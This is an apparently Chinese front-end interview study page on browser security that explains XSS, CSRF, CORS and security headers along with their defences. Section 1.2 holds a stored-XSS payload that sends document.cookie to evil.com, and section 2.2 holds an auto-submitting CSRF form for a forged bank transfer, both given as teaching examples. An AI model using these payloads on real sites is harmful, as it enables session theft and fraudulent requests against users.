Skip to content

浏览器安全

一、XSS 跨站脚本攻击

1.1 XSS 类型

类型存储位置示例
存储型服务器数据库评论区注入脚本
反射型URL 参数搜索结果页
DOM 型前端 JSinnerHTML 注入

1.2 攻击示例

javascript
// 存储型 XSS - 评论内容
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

// 反射型 XSS - URL 参数
http://example.com/search?q=<script>alert('XSS')</script>

// DOM 型 XSS
const query = location.search.slice(1);
div.innerHTML = query;  // 危险!

1.3 XSS 防御

1. 输入过滤与输出编码

javascript
// HTML 实体编码
function escapeHtml(str) {
  return str.replace(/[&<>"']/g, (char) => ({
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;'
  }[char]));
}

// 使用
div.innerHTML = escapeHtml(userInput);

2. 使用安全的 API

javascript
// ❌ 危险
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);

// ✅ 安全
element.textContent = userInput;
element.setAttribute('value', userInput);

3. CSP 内容安全策略

http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'
html
<!-- 只有带正确 nonce 的脚本可执行 -->
<script nonce="abc123">alert('safe')</script>

4. HttpOnly Cookie

http
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

二、CSRF 跨站请求伪造

2.1 攻击原理

1. 用户登录 bank.com,浏览器保存 Cookie
2. 用户访问恶意网站 evil.com
3. evil.com 发起对 bank.com 的请求
4. 浏览器自动带上 bank.com 的 Cookie
5. 请求成功,攻击完成

2.2 攻击示例

html
<!-- evil.com 页面 -->

<!-- GET 请求 -->
<img src="http://bank.com/transfer?to=hacker&amount=10000">

<!-- POST 请求 -->
<form action="http://bank.com/transfer" method="POST" id="form">
  <input name="to" value="hacker">
  <input name="amount" value="10000">
</form>
<script>document.getElementById('form').submit();</script>

2.3 CSRF 防御

1. SameSite Cookie

http
Set-Cookie: sessionId=abc123; SameSite=Strict
说明
Strict跨站请求完全不发送 Cookie
Lax仅 GET 请求发送 (默认值)
None都发送 (需配合 Secure)

2. CSRF Token

html
<!-- 服务端渲染时嵌入 Token -->
<form>
  <input type="hidden" name="csrf_token" value="随机Token">
</form>
javascript
// 前端请求携带
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken
  }
});

3. 验证 Origin / Referer

javascript
// 服务端验证
const origin = req.headers.origin || req.headers.referer;
if (!origin || !origin.startsWith('https://trusted.com')) {
  return res.status(403).send('Forbidden');
}

4. 双重 Cookie 验证

javascript
// 前端:从 Cookie 读取 Token 并放入请求头
const csrfToken = document.cookie
  .split('; ')
  .find(row => row.startsWith('csrf_token='))
  ?.split('=')[1];

fetch('/api', {
  headers: { 'X-CSRF-Token': csrfToken }
});

三、CORS 跨域资源共享

3.1 同源策略

同源 = 协议 + 域名 + 端口 完全相同

http://example.com/a.html
http://example.com/b.html     ✅ 同源
http://example.com:8080/      ❌ 端口不同
https://example.com/          ❌ 协议不同
http://sub.example.com/       ❌ 域名不同

3.2 CORS 请求类型

简单请求 (不触发预检):

  • 方法: GET, HEAD, POST
  • Content-Type: text/plain, multipart/form-data, application/x-www-form-urlencoded
  • 无自定义 Header

预检请求 (Preflight):

  • 方法: PUT, DELETE, PATCH
  • Content-Type: application/json
  • 自定义 Header

3.3 CORS 响应头

http
# 允许的源
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Origin: *

# 允许的方法
Access-Control-Allow-Methods: GET, POST, PUT, DELETE

# 允许的请求头
Access-Control-Allow-Headers: Content-Type, Authorization

# 允许携带凭证 (Cookie)
Access-Control-Allow-Credentials: true

# 预检请求缓存时间
Access-Control-Max-Age: 86400

# 允许前端读取的响应头
Access-Control-Expose-Headers: X-Custom-Header

3.4 Node.js CORS 配置

javascript
// Express
const cors = require('cors');
app.use(cors({
  origin: ['https://example.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  credentials: true,
  maxAge: 86400
}));

// 手动实现
app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', 'https://example.com');
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  res.setHeader('Access-Control-Allow-Credentials', 'true');

  if (req.method === 'OPTIONS') {
    return res.sendStatus(204);
  }
  next();
});

四、其他安全问题

4.1 点击劫持 (Clickjacking)

http
# 防御
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN

# 或使用 CSP
Content-Security-Policy: frame-ancestors 'self'

4.2 中间人攻击 (MITM)

http
# 强制 HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains

4.3 敏感信息保护

http
# 禁止浏览器嗅探 MIME 类型
X-Content-Type-Options: nosniff

# XSS 过滤器 (已废弃,用 CSP 替代)
X-XSS-Protection: 1; mode=block

五、高频面试题

Q1: XSS 和 CSRF 的区别?

对比项XSSCSRF
攻击目标用户服务器
原理注入恶意脚本利用用户身份发请求
信任用户信任了网站网站信任了用户

Q2: 如何防御 XSS?

  1. 输入过滤,输出编码
  2. 使用 textContent 代替 innerHTML
  3. 配置 CSP 策略
  4. Cookie 设置 HttpOnly

Q3: 如何防御 CSRF?

  1. SameSite Cookie
  2. CSRF Token
  3. 验证 Origin/Referer
  4. 关键操作二次验证

Q4: 简单请求和预检请求的区别?

  • 简单请求: 直接发送,响应中检查 CORS 头
  • 预检请求: 先发 OPTIONS 请求,通过后再发实际请求

前端面试知识库